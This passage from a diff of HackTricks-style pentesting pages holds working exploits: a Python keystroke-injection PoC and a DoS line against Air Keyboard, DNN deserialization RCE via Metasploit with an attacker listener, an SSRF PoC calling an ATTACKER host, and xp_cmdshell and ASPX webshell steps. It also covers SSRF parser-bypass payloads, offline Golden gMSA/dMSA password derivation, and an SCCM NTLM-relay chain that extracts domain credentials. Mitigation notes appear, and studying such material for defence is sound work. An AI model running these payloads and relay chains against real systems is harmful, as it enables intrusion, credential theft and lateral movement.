nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
On Android handsets you can identify the responsible package locally:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Frame Format (iOS)
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
The declared length includes the `device_id` byte **but not** the two-byte header itself.
## 3. Exploitation PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
## 4. Android Companion Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Root Cause
1. **No origin / integrity checks** on incoming frames (iOS).
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
## 6. Mitigations & Hardening Ideas
* Never expose unauthenticated services on a mobile handset.
* Derive per-device secrets during onboarding and verify them before processing input.
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
## Detection Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## References
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,97 @@
## DotNetNuke (DNN)
If you enter as **administrator** in DNN it's easy to obtain RCE.
If you enter as **administrator** in DNN it's easy to obtain **RCE**, however a number of *unauthenticated* and *post-auth* techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work.
## RCE
---
## Version & Environment Enumeration
### Via SQL
* Check the *X-DNN* HTTP response header it usually discloses the exact platform version.
* The installation wizard leaks the version in `/Install/Install.aspx?mode=install` (accessible on very old installs).
* `/API/PersonaBar/GetStatus` (9.x) returns a JSON blob containing `"dnnVersion"` for low-privilege users.
* Typical cookies you will see on a live instance:
* `.DOTNETNUKE` ASP.NET forms authentication ticket.
* `DNNPersonalization` contains XML/serialized user profile data (old versions see RCE below).
A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**.
---
## Unauthenticated Exploitation
Use these lines to enable **`xp_cmdshell`**:
### 1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups)
*Affected versions ≤ 9.3.0-RC*
`DNNPersonalization` is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution.
```
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326). Exploitation works **without authentication** on 7.x9.1.x and with a *verified* low-privilege account on 9.2.x+.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Affected versions < 9.13.8 Patch released April 2025*
A bypass of the older `DnnImageHandler` fix enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts:
* Internal port scan / metadata service discovery in cloud deployments.
* Reach hosts otherwise firewalled from the Internet.
Proof-of-concept (replace `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
The request is triggered in the background; monitor your listener for callbacks.
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
*Affected versions 6.0.0 9.x (< 10.0.1)*
Specially crafted content can make DNN attempt to fetch a resource using a **UNC path** such as `\\attacker\share\img.png`. Windows will happily perform NTLM negotiation, leaking the server-account hashes to the attacker. Upgrade to **10.0.1** or disable outbound SMB at the firewall.
### 4. IP Filter Bypass (CVE-2025-52487)
If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed by manipulating `X-Forwarded-For` in a reverse-proxy scenario.
---
## Post-Authentication to RCE
### Via SQL console
Under **`Settings → SQL`** a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable **`xp_cmdshell`** and spawn commands:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
And press **"Run Script"** to run that sQL sentences.
### Via ASPX webshell upload
1. Go to **`Settings → Security → More → More Security Settings`**.
2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**.
3. Browse to **`/admin/file-management`** and upload `shell.aspx`.
4. Trigger it at **`/Portals/0/shell.aspx`**.
Then, use something like the following to run OS commands:
---
## Privilege Escalation on Windows
Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:
```sql
xp_cmdshell 'whoami'
```
* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*.
* **Juicy/Sharp Potatoes** to escape *Service Accounts*.
### Via ASP webshell
---
## Hardening Recommendations (Blue Team)
In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button.
* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues).
* Remove residual **`InstallWizard.aspx*`** files after installation.
* Disable outbound SMB (ports 445/139) egress.
* Enforce strong *Host Filters* on the edge proxy rather than within DNN.
* Block access to `/API/RemoteContentProxy` if unused.
Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example.
Then access to **`/Portals/0/shell.asp`** to access your webshell.
### Privilege Escalation
You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
## References
* Metasploit `dnn_cookie_deserialization_rce` module documentation practical unauthenticated RCE details (GitHub).
* GitHub Security Advisory GHSA-3f7v-qx94-666m 2025 SSRF bypass & patch information.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -217,10 +217,46 @@ The “left square bracket” character `[` in the userinfo segment can cause Sp
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
### IPv6 Zone Identifier (%25) Trick
Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
```text
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
```
If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
### Recent Library Parsing CVEs (20222025)
A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
| Year | CVE | Component | Bug synopsis | Minimal PoC |
|------|-----|-----------|--------------|-------------|
| 2024 | CVE-2024-22243 / 22262 | Spring `UriComponentsBuilder` | `[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. |
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. |
| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). |
When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues.
### Payload-generation helpers (2024+)
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
```bash
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
```
The resulting list can be fed directly into Burp Intruder or `ffuf`.
## References
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -311,6 +311,13 @@ A strategy that many authors have come up with is to force a SYSTEM service to a
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
### SCCM Management Point NTLM Relay (OSD Secret Extraction)
See how the default SQL roles of SCCM **Management Points** can be abused to dump Network Access Account and Task-Sequence secrets directly from the site database:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -23,7 +23,6 @@ No Kerberos traffic or domain interaction is required during normal password usa
If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing:
* Kerberos pre-authentication / ticket request logs
* LDAP read auditing
* Password change intervals (they can pre-compute)
@ -31,11 +30,12 @@ This is analogous to a *Golden Ticket* for service accounts.
### Prerequisites
1. **Forest-level compromise** of **one DC** (or Enterprise Admin). `SYSTEM` access is enough.
1. **Forest-level compromise** of **one DC** (or Enterprise Admin), or `SYSTEM` access to one of the DCs in the forest.
2. Ability to enumerate service accounts (LDAP read / RID brute-force).
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
### Phase 1 Extract the KDS Root Key
### Golden gMSA / dMSA
##### Phase 1 Extract the KDS Root Key
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
@ -46,10 +46,17 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
```
The base64 string labelled `RootKey` (GUID name) is required in later steps.
### Phase 2 Enumerate gMSA/dMSA objects
##### Phase 2 Enumerate gMSA / dMSA objects
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
@ -57,6 +64,8 @@ Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
@ -69,10 +78,10 @@ GoldendMSA.exe info -d example.local -m ldap
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
```
### Phase 3 Guess / Discover the ManagedPasswordID (when missing)
##### Phase 3 Guess / Discover the ManagedPasswordID (when missing)
Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads.
Because the GUID is 128-bit, naïve bruteforce is infeasible, but:
Because the GUID is 128-bit, naive bruteforce is infeasible, but:
1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution).
2. Followed by 96 random bits.
@ -84,16 +93,14 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
```
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute the match reveals the correct GUID.
### Phase 4 Offline Password Computation & Conversion
##### Phase 4 Offline Password Computation & Conversion
Once the ManagedPasswordID is known, the valid password is one command away:
```powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
```
The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
@ -108,12 +115,14 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru
## Tooling
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) reference implementation used in this page.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) reference implementation used in this page.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket using derived AES keys.
## References
- [Golden dMSA authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
- [Improsec Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)

View File

@ -0,0 +1,160 @@
# SCCM Management Point NTLM Relay to SQL OSD Policy Secret Extraction
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights. These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets.
High-level chain:
1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc.
4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account.
5. Execute:
* `use CM_<SiteCode>`
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (or `MP_GetPolicyBodyAfterAuthorization`)
6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients.
---
## 1. Enumerating unauthenticated MP endpoints
The MP ISAPI extension **GetAuth.dll** exposes several parameters that dont require authentication (unless the site is PKI-only):
| Parameter | Purpose |
|-----------|---------|
| `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. |
| `MPLIST` | Lists every Management-Point in the site. |
| `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). |
Grab the GUIDs that will act as the **clientID** for later DB queries:
```bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
```
---
## 2. Relay the MP machine account to MSSQL
```bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
```
When the coercion fires you should see something like:
```
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
```
---
## 3. Identify OSD policies via stored procedures
Connect through the SOCKS proxy (port 1080 by default):
```bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
```
Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`).
### 3.1 Find Unknown-Computer GUIDs (optional)
```sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
```
### 3.2 List assigned policies
```sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
```
Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`.
Focus on policies:
* **NAAConfig** Network Access Account creds
* **TS_Sequence** Task Sequence variables (OSDJoinAccount/Password)
* **CollectionSettings** Can contain run-as accounts
### 3.3 Retrieve full body
If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using:
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.
---
## 4. Decode & decrypt the blob
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
```
Recovered secrets example:
```
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
```
---
## 5. Relevant SQL roles & procedures
Upon relay the login is mapped to:
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
These roles expose dozens of EXEC permissions, the key ones used in this attack are:
| Stored Procedure | Purpose |
|------------------|---------|
| `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. |
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. |
| `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. |
You can inspect the full list with:
```sql
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
```
---
## 6. Detection & Hardening
1. **Monitor MP logins** any MP computer account logging in from an IP that isnt its host ≈ relay.
2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`).
3. Disable unused NTLM, enforce SMB signing, restrict RPC (
same mitigations used against `PetitPotam`/`PrinterBug`).
4. Harden MP ↔ DB communication with IPSec / mutual-TLS.
---
## See also
* NTLM relay fundamentals:
{{#ref}}
../ntlm/README.md
{{#endref}}
* MSSQL abuse & post-exploitation:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
## References
- [Id Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Misconfiguration Manager ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}